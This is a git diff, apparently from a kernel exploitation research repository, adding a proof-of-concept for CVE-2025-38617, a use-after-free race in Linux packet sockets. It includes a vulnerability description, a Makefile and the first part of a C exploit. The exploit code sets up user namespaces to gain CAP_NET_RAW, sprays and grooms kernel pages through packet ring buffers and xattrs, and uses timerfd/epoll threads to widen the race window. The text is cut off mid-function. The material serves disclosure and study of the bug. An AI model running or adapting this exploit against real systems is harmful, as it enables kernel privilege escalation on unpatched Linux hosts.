diff --git a/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/docs/exploit.md b/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/docs/exploit.md new file mode 100644 index 000000000..dfb0e5e83 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/docs/exploit.md @@ -0,0 +1,4 @@ +Exploit Details +=============== + +Coming soon. \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/docs/vulnerability.md new file mode 100644 index 000000000..f7352b68b --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/docs/vulnerability.md @@ -0,0 +1,24 @@ +# Vulnerability + +A race between packet_set_ring() and packet_notifier() allow the packet socket to hook to network interface and receive packet sent to that network interface while the ring buffer is configured. The received packet might found the old ring buffer that already be freed. + +## Requirements to trigger the vulnerability: +- Capabilities: To trigger the vulnerability, `CAP_NET_RAW` capabilities are required. +- Kernel configuration: `CONFIG_PACKET` is required to trigger this vulnerability. +- Are user namespaces needed?: Yes. As this vulnerability requires `CAP_NET_RAW`, which are not usually given to the normal user, we used the unprivileged user namespace to achieve this capability. + +## Commit which introduced the vulnerability +- This vulnerability was introduced in Linux-2.6.12-rc2, with commit [ce06b03e60fc1](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ce06b03e60fc1) +- This commit add head drop fifo queue to the kernel. + +## Commit which fixed the vulnerability +- This vulnerability was fixed with commit [01d3c8417b9c1b884a8a981a3b886da556512f36](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=01d3c8417b9c1b884a8a981a3b886da556512f36) + +## Affected kernel versions +- Linux version 2.6.12 - 6.16 affects to this vulnerability + +## Affected component, subsystem +- Packet socket + +## Cause (UAF, BoF, race condition, double free, refcount overflow, etc) +- UAF \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/exploit/cos-109-17800.519.41/Makefile b/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/exploit/cos-109-17800.519.41/Makefile new file mode 100644 index 000000000..ef7092f45 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/exploit/cos-109-17800.519.41/Makefile @@ -0,0 +1,32 @@ +# taken from: https://github.com/google/security-research/blob/1bb2f8c8d95a34cafe7861bc890cfba5d85ec141/pocs/linux/kernelctf/CVE-2024-0193_lts/exploit/lts-6.1.67/Makefile + +LIBMNL_DIR = $(realpath ./)/libmnl_build +LIBNFTNL_DIR = $(realpath ./)/libnftnl_build + +LIBS = -L$(LIBMNL_DIR)/install/lib -lmnl +INCLUDES = -I$(LIBMNL_DIR)/libmnl-1.0.5/include +CFLAGS = -static + +exploit: exploit.c + gcc -o exploit exploit.c $(LIBS) $(INCLUDES) $(CFLAGS) + + +prerequisites: libmnl-build + +libmnl-build : libmnl-download + tar -C $(LIBMNL_DIR) -xvf $(LIBMNL_DIR)/libmnl-1.0.5.tar.bz2 + cd $(LIBMNL_DIR)/libmnl-1.0.5 && ./configure --enable-static --prefix=`realpath ../install` + cd $(LIBMNL_DIR)/libmnl-1.0.5 && make -j`nproc` + cd $(LIBMNL_DIR)/libmnl-1.0.5 && make install + + +libmnl-download : + mkdir $(LIBMNL_DIR) + wget -P $(LIBMNL_DIR) https://netfilter.org/projects/libmnl/files/libmnl-1.0.5.tar.bz2 + +run: + ./exploit + +clean: + rm -f exploit + rm -rf $(LIBMNL_DIR) diff --git a/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/exploit/cos-109-17800.519.41/exploit b/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/exploit/cos-109-17800.519.41/exploit new file mode 100644 index 000000000..bf1867f65 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/exploit/cos-109-17800.519.41/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/exploit/cos-109-17800.519.41/exploit.c b/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/exploit/cos-109-17800.519.41/exploit.c new file mode 100644 index 000000000..4fe72f66c --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-38617_mitigation_cos/exploit/cos-109-17800.519.41/exploit.c @@ -0,0 +1,2460 @@ +#include "exploit.h" + +void unix_error(const char *msg) +{ + fprintf(stderr, "%s: %s\n", msg, strerror(errno)); + exit(EXIT_FAILURE); +} + +void Mnl_socket_error(const char *msg) +{ + fprintf(stderr, "%s: %s\n", msg, strerror(errno)); + exit(EXIT_FAILURE); +} + +void Pthread_error(const char *msg, int error_code) +{ + fprintf(stderr, "%s: %s\n", msg, strerror(error_code)); + exit(EXIT_FAILURE); +} + +void Unshare(int flags) +{ + if (unshare(flags) < 0) + unix_error("unshare"); +} + +int Socket(int domain, int type, int protocol) +{ + int fd = socket(domain, type, protocol); + if (fd < 0) + unix_error("socket"); + return fd; +} + +void Setsockopt(int fd, int level, int optname, const void *optval, socklen_t optlen) +{ + if (setsockopt(fd, level, optname, optval, optlen) < 0) + unix_error("setsockopt"); +} + +void Getsockopt(int fd, int level, int optname, void *optval, socklen_t *optlen) +{ + if (getsockopt(fd, level, optname, optval, optlen) < 0) + unix_error("getsockopt"); +} + +void Bind(int fd, const struct sockaddr *addr, socklen_t addrlen) +{ + if (bind(fd, addr, addrlen) < 0) + unix_error("bind"); +} + +void Ioctl(int fd, unsigned long request, unsigned long arg) +{ + if (ioctl(fd, request, arg) < 0) + unix_error("ioctl"); +} + +void Close(int fd) +{ + if (close(fd) < 0) + unix_error("close"); +} + +int Dup(int fd) +{ + int newfd = dup(fd); + if (newfd < 0) + unix_error("dup"); + return newfd; +} + +void Pipe2(int pipefd[2], int flags) +{ + if (pipe2(pipefd, flags) < 0) + unix_error("pipe2"); +} + +int Fcntl(int fd, int op, unsigned long arg) +{ + int ret = fcntl(fd, op, arg); + if (ret < 0) + unix_error("fcntl"); + return ret; +} + +void *Mmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset) +{ + void *m = mmap(addr, len, prot, flags, fd, offset); + if (m == MAP_FAILED) + unix_error("mmap"); + return m; +} + +void Munmap(void *addr, size_t len) +{ + if (munmap(addr, len) < 0) + unix_error("munmap"); +} + +FILE *Fopen(const char *filename, const char *modes) +{ + FILE *f = fopen(filename, modes); + if (f == NULL) + unix_error("fopen"); + return f; +} + +void Fclose(FILE *stream) +{ + if (fclose(stream) != 0) + unix_error("fclose"); +} + +void *Calloc(size_t nmemb, size_t size) +{ + void *p = calloc(nmemb, size); + if (p == NULL) + unix_error("calloc"); + return p; +} + +ssize_t Sendmsg(int socket, const struct msghdr *message, int flags) +{ + ssize_t ret = sendmsg(socket, message, flags); + if (ret < 0) + unix_error("sendmsg"); + return ret; +} + +void Pthread_create(pthread_t *newthread, const pthread_attr_t *attr, void *(*start_routine) (void *), void *arg) +{ + int ret = pthread_create(newthread, attr, start_routine, arg); + if (ret != 0) + Pthread_error("pthread_create", ret); +} + +void Pthread_join(pthread_t thread, void **retval) +{ + int ret = pthread_join(thread, retval); + if (ret != 0) + Pthread_error("pthread_join", ret); +} + +void Pthread_setaffinity_np(pthread_t thread, size_t cpusetsize, const cpu_set_t *cpuset) +{ + int ret = pthread_setaffinity_np(thread, cpusetsize, cpuset); + if (ret != 0) + Pthread_error("pthread_setaffinity_np", ret); +} + +void Getrlimit(int resource, struct rlimit *rlim) +{ + if (getrlimit(resource, rlim) < 0) + unix_error("getrlimit"); +} + +void Setrlimit(int resource, const struct rlimit *rlim) +{ + if (setrlimit(resource, rlim) < 0) + unix_error("setrlimit"); +} + +void Setpriority(int which, id_t who, int value) +{ + if (setpriority(which, who, value) < 0) + unix_error("setpriority"); +} + +int Timerfd_create(int clockid, int flags) +{ + int timerfd = timerfd_create(clockid, flags); + if (timerfd < 0) + unix_error("timerfd_create"); + return timerfd; +} + +void Timerfd_settime(int fd, int flags, const struct itimerspec *new_value, struct itimerspec *old_value) +{ + if (timerfd_settime(fd, flags, new_value, old_value) < 0) + unix_error("timerfd_settime"); +} + +int Epoll_create1(int flags) +{ + int epfd = epoll_create1(flags); + if (epfd < 0) + unix_error("epoll_create1"); + return epfd; +} + +void Epoll_ctl(int epfd, int op, int fd, struct epoll_event *event) +{ + if (epoll_ctl(epfd, op, fd, event) < 0) + unix_error("epoll_ctl"); +} + +unsigned int If_nametoindex(const char *ifname) +{ + unsigned int ifindex = if_nametoindex(ifname); + if (ifindex == 0) + unix_error("if_nametoindex"); + return ifindex; +} + +void Mkdir(const char *pathname, mode_t mode) +{ + if (mkdir(pathname, mode) < 0) + unix_error("mkdir"); +} + +void Mount(const char *source, const char *target, const char *filesystemtype, unsigned long mountflags, const void *data) +{ + if (mount(source, target, filesystemtype, mountflags, data) < 0) + unix_error("mount"); +} + +int Open(const char *pathname, int flags, mode_t mode) +{ + int fd = open(pathname, flags, mode); + if (fd < 0) + unix_error("open"); + return fd; +} + +void Setxattr(const char *path, const char *name, const void *value, size_t size, int flags) +{ + if (setxattr(path, name, value, size, flags) < 0) + unix_error("setxattr"); +} + +ssize_t Getxattr(const char *path, const char *name, void *value, size_t size) +{ + ssize_t ret = getxattr(path, name, value, size); + if (ret < 0) + unix_error("getxattr"); + return ret; +} + +void Removexattr(const char *path, const char *name) +{ + if (removexattr(path, name) < 0) + unix_error("removexattr"); +} + +char *Strdup(const char *s) +{ + char *s1 = strdup(s); + if (s1 == NULL) + unix_error("strdup"); + return s1; +} + +ssize_t Read(int fd, void *buf, size_t count) +{ + ssize_t ret = read(fd, buf, count); + if (ret < 0) + unix_error("read"); + return ret; +} + +ssize_t Write(int fd, const void *buf, size_t count) +{ + ssize_t ret = write(fd, buf, count); + if (ret < 0) + unix_error("write"); + return ret; +} + +struct mnl_socket *Mnl_socket_open(int bus) +{ + struct mnl_socket *nl = mnl_socket_open(bus); + if (nl == NULL) + Mnl_socket_error("mnl_socket_open"); + return nl; +} + +void Mnl_socket_close(struct mnl_socket *nl) +{ + if (mnl_socket_close(nl) < 0) + Mnl_socket_error("mnl_socket_close"); +} + +void Mnl_socket_bind(struct mnl_socket *nl, unsigned int groups, pid_t pid) +{ + if (mnl_socket_bind(nl, groups, pid) < 0) + Mnl_socket_error("mnl_socket_bind"); +} + +ssize_t Mnl_socket_sendto(const struct mnl_socket *nl, const void *req, size_t size) +{ + ssize_t rc = mnl_socket_sendto(nl, req, size); + if (rc < 0) + Mnl_socket_error("mnl_socket_sendto"); + return rc; +} + +ssize_t Mnl_socket_recvfrom(const struct mnl_socket *nl, void *buf, size_t size) +{ + ssize_t rc = mnl_socket_recvfrom(nl, buf, size); + if (rc < 0) + Mnl_socket_error("mnl_socket_recvfrom"); + return rc; +} + +void validate_mnl_socket_operation_success(struct mnl_socket *nl, u32 seq) +{ + u8 buf[8192] = {}; + u32 portid = mnl_socket_get_portid(nl); + ssize_t ret = mnl_socket_recvfrom(nl, buf, sizeof(buf)); + + while (ret > 0) { + ret = mnl_cb_run(buf, ret, seq, portid, NULL, NULL); + if (ret <= 0) + break; + ret = mnl_socket_recvfrom(nl, buf, sizeof(buf)); + } + + if (ret < 0) + exit(EXIT_FAILURE); +} + +void dummy_network_interface_create(const char *ifname, u32 mtu) +{ + struct mnl_socket *nl = Mnl_socket_open(NETLINK_ROUTE); + Mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID); + u32 seq = time(NULL); + u8 buf[8192] = {}; + + struct nlmsghdr *nlh = mnl_nlmsg_put_header(buf); + nlh->nlmsg_type = RTM_NEWLINK; + nlh->nlmsg_seq = seq; + nlh->nlmsg_flags = NLM_F_ACK | NLM_F_REQUEST | NLM_F_CREATE; + + struct ifinfomsg *ifm = mnl_nlmsg_put_extra_header(nlh, sizeof(*ifm)); + mnl_attr_put_strz(nlh, IFLA_IFNAME, ifname); + mnl_attr_put_u32(nlh, IFLA_MTU, mtu); + + struct nlattr *linkinfo = mnl_attr_nest_start(nlh, IFLA_LINKINFO); + mnl_attr_put_strz(nlh, IFLA_INFO_KIND, "dummy"); + mnl_attr_nest_end(nlh, linkinfo); + + Mnl_socket_sendto(nl, nlh, nlh->nlmsg_len); + validate_mnl_socket_operation_success(nl, seq); + Mnl_socket_close(nl); +} + +void network_interface_up(int configure_socket_fd, const char *ifname) +{ + struct ifreq ifr = {}; + strncpy(ifr.ifr_name, ifname, IFNAMSIZ); + Ioctl(configure_socket_fd, SIOCGIFFLAGS, (unsigned long)&ifr); + + strncpy(ifr.ifr_name, ifname, IFNAMSIZ); + ifr.ifr_flags |= (IFF_UP | IFF_RUNNING); + Ioctl(configure_socket_fd, SIOCSIFFLAGS, (unsigned long)&ifr); +} + +void network_interface_down(int configure_socket_fd, const char *ifname) +{ + struct ifreq ifr = {}; + strncpy(ifr.ifr_name, ifname, IFNAMSIZ); + Ioctl(configure_socket_fd, SIOCGIFFLAGS, (unsigned long)&ifr); + + strncpy(ifr.ifr_name, ifname, IFNAMSIZ); + ifr.ifr_flags &= (~IFF_UP); + Ioctl(configure_socket_fd, SIOCSIFFLAGS, (unsigned long)&ifr); +} + +void pin_thread_on_cpu(int cpu) +{ + cpu_set_t cpuset; + CPU_ZERO(&cpuset); + CPU_SET(cpu, &cpuset); + + pthread_t current_thread = pthread_self(); + Pthread_setaffinity_np(current_thread, sizeof(cpu_set_t), &cpuset); +} + +void setup_namespace(void) +{ + int uid = getuid(); + int gid = getgid(); + + Unshare(CLONE_NEWUSER | CLONE_NEWNET | CLONE_NEWNS); + + FILE *f = NULL; + f = Fopen("/proc/self/uid_map", "w"); + fprintf(f, "0 %d 1\n", uid); + Fclose(f); + + f = Fopen("/proc/self/setgroups", "w"); + fprintf(f, "deny\n"); + Fclose(f); + + f = Fopen("/proc/self/gid_map", "w"); + fprintf(f, "0 %d 1\n", gid); + Fclose(f); +} + +void setup_tmpfs(void) +{ + Mkdir(TMPFS_MOUNT_POINT, 0644); + Mount("none", TMPFS_MOUNT_POINT, "tmpfs", 0, NULL); + create_file(PAGES_ORDER3_GROOM_SIMPLE_XATTR_FILEPATH); + create_file(PAGES_ORDER3_DRAIN_RECLAIM_SIMPLE_XATTR_FILEPATH); +} + +void setup_nofile_rlimit(void) +{ + struct rlimit nofile_rlimit = {}; + Getrlimit(RLIMIT_NOFILE, &nofile_rlimit); + nofile_rlimit.rlim_cur = nofile_rlimit.rlim_max; + Setrlimit(RLIMIT_NOFILE, &nofile_rlimit); +} + +void create_file(const char *path) +{ + int fd = Open(path, O_WRONLY | O_CREAT, 0644); + Close(fd); +} + +bool thread_in_sleep_state(int tid) +{ + char proc_path[4096] = {}; + char line_buffer[4096] = {}; + + snprintf(proc_path, sizeof(proc_path), "/proc/%d/stat", tid); + FILE *f = Fopen(proc_path, "r"); + + if (!fgets(line_buffer, sizeof(line_buffer), f)) { + Fclose(f); + return false; + } + + char *p = line_buffer; + int space_count = 0; + while (*p != '\0' && space_count != 2) { + if (*p == ' ') { + space_count++; + } + + p++; + } + + Fclose(f); + + if (*p == 'S' || *p == 'D') { + return true; + } + + return false; +} + +void alloc_pages(int packet_socket, unsigned page_count, unsigned page_size) +{ + struct tpacket_req tx_ring_req = {}; + tx_ring_req.tp_block_nr = page_count; + tx_ring_req.tp_block_size = page_size; + tx_ring_req.tp_frame_size = page_size; + tx_ring_req.tp_frame_nr = tx_ring_req.tp_block_size / tx_ring_req.tp_frame_size * tx_ring_req.tp_block_nr; + Setsockopt(packet_socket, SOL_PACKET, PACKET_TX_RING, &tx_ring_req, sizeof(tx_ring_req)); +} + +void free_pages(int packet_socket) +{ + struct tpacket_req tx_ring_req = {}; + Setsockopt(packet_socket, SOL_PACKET, PACKET_TX_RING, &tx_ring_req, sizeof(tx_ring_req)); +} + +struct victim_packet_socket *victim_packet_socket_create( + struct __kernel_sock_timeval sndtimeo, + struct sockaddr_ll addr, + struct tpacket_req3 tx_ring, + struct tpacket_req3 rx_ring, + int packet_loss, + int packet_version, + unsigned packet_reserve, + unsigned short filter_len, + struct sock_filter *filter +) +{ + struct victim_packet_socket *v = Calloc(1, sizeof(*v)); + v->sndtimeo = sndtimeo; + v->addr = addr; + v->tx_ring = tx_ring; + v->rx_ring = rx_ring; + v->fd = Socket(AF_PACKET, SOCK_RAW, 0); + v->packet_loss = packet_loss; + v->packet_version = packet_version; + v->packet_reserve = packet_reserve; + v->filter_len = filter_len; + v->filter = Calloc(filter_len, sizeof(*v->filter)); + memcpy(v->filter, filter, filter_len * sizeof(*v->filter)); + return v; +} + +void victim_packet_socket_destroy(struct victim_packet_socket *v) +{ + Close(v->fd); + free(v->filter); + free(v); +} + +void victim_packet_socket_configure_for_exploit(struct victim_packet_socket *v) +{ + Bind(v->fd, (const struct sockaddr *)&v->addr, sizeof(v->addr)); + Setsockopt(v->fd, SOL_SOCKET, SO_SNDTIMEO_NEW, &v->sndtimeo, sizeof(v->sndtimeo)); + Setsockopt(v->fd, SOL_PACKET, PACKET_LOSS, &v->packet_loss, sizeof(v->packet_loss)); + Setsockopt(v->fd, SOL_PACKET, PACKET_VERSION, &v->packet_version, sizeof(v->packet_version)); + Setsockopt(v->fd, SOL_PACKET, PACKET_RESERVE, &v->packet_reserve, sizeof(v->packet_reserve)); + Setsockopt(v->fd, SOL_PACKET, PACKET_TX_RING, &v->tx_ring, sizeof(v->tx_ring)); + Setsockopt(v->fd, SOL_PACKET, PACKET_RX_RING, &v->rx_ring, sizeof(v->rx_ring)); + struct sock_fprog fprog = { .filter = v->filter, .len = v->filter_len }; + Setsockopt(v->fd, SOL_SOCKET, SO_ATTACH_FILTER, &fprog, sizeof(fprog)); +} + +struct simple_xattr_request *simple_xattr_request_create( + const char *filepath, + const char *name, + const char *value, + size_t value_size +) +{ + struct simple_xattr_request *request = Calloc(1, sizeof(*request)); + strncpy(request->filepath, filepath, PATH_MAX); + strncpy(request->name, name, XATTR_NAME_MAX); + request->value = Calloc(1, value_size); + memcpy(request->value, value, value_size); + request->value_size = value_size; + return request; +} + +void simple_xattr_request_destroy(struct simple_xattr_request *request) +{ + free(request->value); + free(request); +} + +struct simple_xattr_request_container *simple_xattr_request_container_create(size_t size) +{ + struct simple_xattr_request_container *container = Calloc(1, sizeof(*container)); + container->requests = Calloc(size, sizeof(*container->requests)); + container->requests_size = size; + return container; +} + +void simple_xattr_request_container_insert( + struct simple_xattr_request_container *container, + struct simple_xattr_request *request +) +{ + assert(container->requests_length < container->requests_size); + container->requests[container->requests_length++] = request; +} + +struct simple_xattr_request *simple_xattr_request_container_pop_at( + struct simple_xattr_request_container *container, + size_t idx +) +{ + assert(idx < container->requests_length); + struct simple_xattr_request *request = container->requests[idx]; + for (size_t i = idx; i < container->requests_length - 1; i++) { + container->requests[i] = container->requests[i + 1]; + } + + container->requests[container->requests_length - 1] = NULL; + container->requests_length--; + return request; +} + +ssize_t simple_xattr_request_container_search_by_value( + struct simple_xattr_request_container *container, + const char *search_value, + size_t search_value_size +) +{ + for (size_t i = 0; i < container->requests_length; i++) { + struct simple_xattr_request *request = container->requests[i]; + assert(search_value_size <= request->value_size); + if (memcmp(request->value, search_value, search_value_size) == 0) + return i; + } + + return -1; +} + +struct simple_xattr_request_container *simple_xattr_request_container_clone( + struct simple_xattr_request_container *container +) +{ + struct simple_xattr_request_container *clone_container = Calloc(1, sizeof(*clone_container)); + + clone_container->requests = Calloc(container->requests_size, sizeof(*clone_container->requests)); + clone_container->requests_size = container->requests_size; + + for (size_t i = 0; i < container->requests_length; i++) { + struct simple_xattr_request *request = simple_xattr_request_create( + container->requests[i]->filepath, + container->requests[i]->name, + container->requests[i]->value, + container->requests[i]->value_size + ); + + simple_xattr_request_container_insert(clone_container, request); + } + + return clone_container; +} + +void simple_xattr_request_container_destroy(struct simple_xattr_request_container *container) +{ + for (size_t i = 0; i < container->requests_length; i++) + simple_xattr_request_destroy(container->requests[i]); + + free(container->requests); + free(container); +} + +void *timerfd_waitlist_thread_fn(void *arg) +{ + //pin_thread_on_cpu(CPU_NUMBER_ONE); + struct timerfd_waitlist_thread *t = arg; + Unshare(CLONE_FILES); + pthread_mutex_lock(&t->mutex); + t->unshare_complete = true; + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); + + Close(STDIN_FILENO); + Close(STDOUT_FILENO); + + int epollfd = Epoll_create1(0); + + struct rlimit nofile_rlimit = {}; + Getrlimit(RLIMIT_NOFILE, &nofile_rlimit); + t->timerfds = Calloc(nofile_rlimit.rlim_cur, sizeof(*t->timerfds)); + t->timerfds[0] = t->timerfd; + t->total_timerfd = 1; + + for (int i = 1; i < (int)nofile_rlimit.rlim_cur; i++) { + t->timerfds[i] = dup(t->timerfds[0]); + if (t->timerfds[i] < 0) + break; + + t->total_timerfd++; + } + + t->epoll_events = Calloc(t->total_timerfd, sizeof(*t->epoll_events)); + for (int i = 0; i < t->total_timerfd; i++) { + t->epoll_events[i].data.fd = t->timerfds[i]; + t->epoll_events[i].events = EPOLLIN; + } + + bool first_setup_epoll_work = true; + + for ( ;; ) { + pthread_mutex_lock(&t->mutex); + while (!t->quit && !t->ready_to_work) + pthread_cond_wait(&t->cond, &t->mutex); + + t->ready_to_work = false; + bool quit = t->quit; + pthread_mutex_unlock(&t->mutex); + + if (quit) + break; + + if (!first_setup_epoll_work) { + Close(epollfd); + epollfd = Epoll_create1(0); + } else { + first_setup_epoll_work = false; + } + + for (int i = 0; i < t->total_timerfd; i++) + Epoll_ctl(epollfd, EPOLL_CTL_ADD, t->timerfds[i], &t->epoll_events[i]); + + pthread_mutex_lock(&t->mutex); + t->work_complete = true; + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); + } + + for (int i = 1; i < t->total_timerfd; i++) + Close(t->timerfds[i]); + + free(t->epoll_events); + free(t->timerfds); + + return NULL; +} + +void timerfd_waitlist_thread_wait_unshare_complete(struct timerfd_waitlist_thread *t) +{ + pthread_mutex_lock(&t->mutex); + while (!t->unshare_complete) + pthread_cond_wait(&t->cond, &t->mutex); + pthread_mutex_unlock(&t->mutex); +} + +int timerfd_waitlist_thread_get_timerfd(struct timerfd_waitlist_thread *t) +{ + return t->timerfds[0]; +} + +void timerfd_waitlist_thread_send_work(struct timerfd_waitlist_thread *t) +{ + pthread_mutex_lock(&t->mutex); + t->ready_to_work = true; + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); +} + +void timerfd_waitlist_thread_wait_work_complete(struct timerfd_waitlist_thread *t) +{ + pthread_mutex_lock(&t->mutex); + while (!t->work_complete) + pthread_cond_wait(&t->cond, &t->mutex); + t->work_complete = false; + pthread_mutex_unlock(&t->mutex); +} + +void timerfd_waitlist_thread_quit(struct timerfd_waitlist_thread *t) +{ + pthread_mutex_lock(&t->mutex); + t->quit = true; + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); + Pthread_join(t->handle, NULL); +} + +struct timerfd_waitlist_thread *timerfd_waitlist_thread_create(int timerfd) +{ + struct timerfd_waitlist_thread *t = Calloc(1, sizeof(*t)); + t->timerfd = timerfd; + pthread_mutex_init(&t->mutex, NULL); + pthread_cond_init(&t->cond, NULL); + Pthread_create(&t->handle, NULL, timerfd_waitlist_thread_fn, t); + return t; +} + +void timerfd_waitlist_thread_destroy(struct timerfd_waitlist_thread *t) +{ + timerfd_waitlist_thread_quit(t); + pthread_cond_destroy(&t->cond); + pthread_mutex_destroy(&t->mutex); + free(t); +} + +struct pg_vec_lock_thread_work *pg_vec_lock_thread_work_create(struct victim_packet_socket *v, int ifindex) +{ + struct pg_vec_lock_thread_work *w = Calloc(1, sizeof(*w)); + w->victim_packet_socket = v; + w->ifindex = ifindex; + return w; +} + +void pg_vec_lock_thread_work_destroy(struct pg_vec_lock_thread_work *w) +{ + free(w); +} + +void *pg_vec_lock_thread_fn(void *arg) +{ + pin_thread_on_cpu(CPU_NUMBER_ZERO); + struct pg_vec_lock_thread *t = arg; + pthread_mutex_lock(&t->mutex); + t->tid = gettid(); + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); + + Setpriority(PRIO_PROCESS, 0, MAX_NICE); + + for ( ;; ) { + pthread_mutex_lock(&t->mutex); + while (!t->quit && !t->ready_to_work) + pthread_cond_wait(&t->cond, &t->mutex); + + struct pg_vec_lock_thread_work *work = t->work; + t->work = NULL; + t->ready_to_work = false; + bool quit = t->quit; + pthread_mutex_unlock(&t->mutex); + + if (quit) + break; + + struct victim_packet_socket *v = work->victim_packet_socket; + u64 tx_ring_size = (u64)v->tx_ring.tp_block_size * v->tx_ring.tp_block_nr; + u64 rx_ring_size = (u64)v->rx_ring.tp_block_size * v->rx_ring.tp_block_nr; + u64 ring_size = tx_ring_size + rx_ring_size; + void *ring = Mmap(NULL, ring_size, PROT_READ | PROT_WRITE, MAP_SHARED, v->fd, 0); + void *tx_ring = ring + rx_ring_size; + struct tpacket3_hdr *h = tx_ring; + h->tp_len = 1; + h->tp_status = TP_STATUS_SEND_REQUEST; + Munmap(ring, ring_size); + + struct sockaddr_ll addr = { .sll_ifindex = work->ifindex }; + struct msghdr msg = { .msg_name = &addr, .msg_namelen = sizeof(addr) }; + syscall(SYS_clock_gettime, CLOCK_MONOTONIC, &t->sendmsg_begin_time); + syscall(SYS_sendmsg, v->fd, &msg, 0); + + pg_vec_lock_thread_work_destroy(work); + pthread_mutex_lock(&t->mutex); + t->work_complete = true; + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); + } + + return NULL; +} + +void pg_vec_lock_thread_send_work(struct pg_vec_lock_thread *t, struct pg_vec_lock_thread_work *w) +{ + pthread_mutex_lock(&t->mutex); + t->work = w; + t->ready_to_work = true; + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); +} + +void pg_vec_lock_thread_wait_in_work(struct pg_vec_lock_thread *t) +{ + pthread_mutex_lock(&t->mutex); + while (t->tid == -1) + pthread_cond_wait(&t->cond, &t->mutex); + pthread_mutex_unlock(&t->mutex); + while (!thread_in_sleep_state(t->tid)) { ; } +} + +void pg_vec_lock_thread_wait_work_complete(struct pg_vec_lock_thread *t) +{ + pthread_mutex_lock(&t->mutex); + while (!t->work_complete) + pthread_cond_wait(&t->cond, &t->mutex); + t->work_complete = false; + pthread_mutex_unlock(&t->mutex); +} + +void pg_vec_lock_thread_quit(struct pg_vec_lock_thread *t) +{ + pthread_mutex_lock(&t->mutex); + t->quit = true; + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); + Pthread_join(t->handle, NULL); +} + +struct pg_vec_lock_thread *pg_vec_lock_thread_create(void) +{ + struct pg_vec_lock_thread *t = Calloc(1, sizeof(*t)); + pthread_mutex_init(&t->mutex, NULL); + pthread_cond_init(&t->cond, NULL); + t->tid = -1; + t->packet_socket = -1; + t->ifindex = -1; + Pthread_create(&t->handle, NULL, pg_vec_lock_thread_fn, t); + return t; +} + +void pg_vec_lock_thread_destroy(struct pg_vec_lock_thread *t) +{ + pg_vec_lock_thread_quit(t); + free(t); +} + +struct pg_vec_buffer_thread_work *pg_vec_buffer_thread_work_create( + struct victim_packet_socket *v, + bool exploit, + bool cleanup +) +{ + struct pg_vec_buffer_thread_work *w = Calloc(1, sizeof(*w)); + w->victim_packet_socket = v; + w->exploit = exploit; + w->cleanup = cleanup; + return w; +} + +void pg_vec_buffer_thread_work_destroy(struct pg_vec_buffer_thread_work *w) +{ + free(w); +} + +void *pg_vec_buffer_thread_fn(void *arg) +{ + pin_thread_on_cpu(CPU_NUMBER_ZERO); + struct pg_vec_buffer_thread *t = arg; + pthread_mutex_lock(&t->mutex); + t->tid = gettid(); + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); + + int reclaim_pg_vec_packet_sockets[TOTAL_SPRAY_PG_VEC] = {}; + for (int i = 0; i < TOTAL_SPRAY_PG_VEC; i++) { + reclaim_pg_vec_packet_sockets[i] = Socket(AF_PACKET, SOCK_RAW, 0); + } + + for ( ;; ) { + pthread_mutex_lock(&t->mutex); + while (!t->quit && !t->ready_to_work) + pthread_cond_wait(&t->cond, &t->mutex); + + struct pg_vec_buffer_thread_work *work = t->work; + t->work = NULL; + t->ready_to_work = false; + bool quit = t->quit; + pthread_mutex_unlock(&t->mutex); + + if (quit) + break; + + if (work->exploit) { + struct tpacket_req3 free_pg_vec_req = {}; + syscall( + SYS_setsockopt, + work->victim_packet_socket->fd, + SOL_PACKET, + PACKET_RX_RING, + &free_pg_vec_req, + sizeof(free_pg_vec_req) + ); + + for (int i = 0; i < TOTAL_SPRAY_PG_VEC; i++) { + alloc_pages(reclaim_pg_vec_packet_sockets[i], 2, PAGES_ORDER3_SIZE); + } + } + + if (work->cleanup) { + for (int i = 0; i < TOTAL_SPRAY_PG_VEC; i++) { + free_pages(reclaim_pg_vec_packet_sockets[i]); + } + } + + pg_vec_buffer_thread_work_destroy(work); + + pthread_mutex_lock(&t->mutex); + t->work_complete = true; + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); + } + + for (int i = 0; i < TOTAL_SPRAY_PG_VEC; i++) { + Close(reclaim_pg_vec_packet_sockets[i]); + } + + return NULL; +} + +void pg_vec_buffer_thread_send_work(struct pg_vec_buffer_thread *t, struct pg_vec_buffer_thread_work *w) +{ + pthread_mutex_lock(&t->mutex); + t->work = w; + t->ready_to_work = true; + pthread_cond_signal(&t->cond); + pthread_mutex_unlock(&t->mutex); +} + +void pg_vec_buffer_thread_wait_in_work(struct pg_vec_buffer_thread *t) +{ + pthread_mutex_lock(&t->mutex); + while (t->tid == -1) + pthread_cond_wait(&t->cond, &t->mutex); + pthread_mutex_unlock(&t->mutex); + while 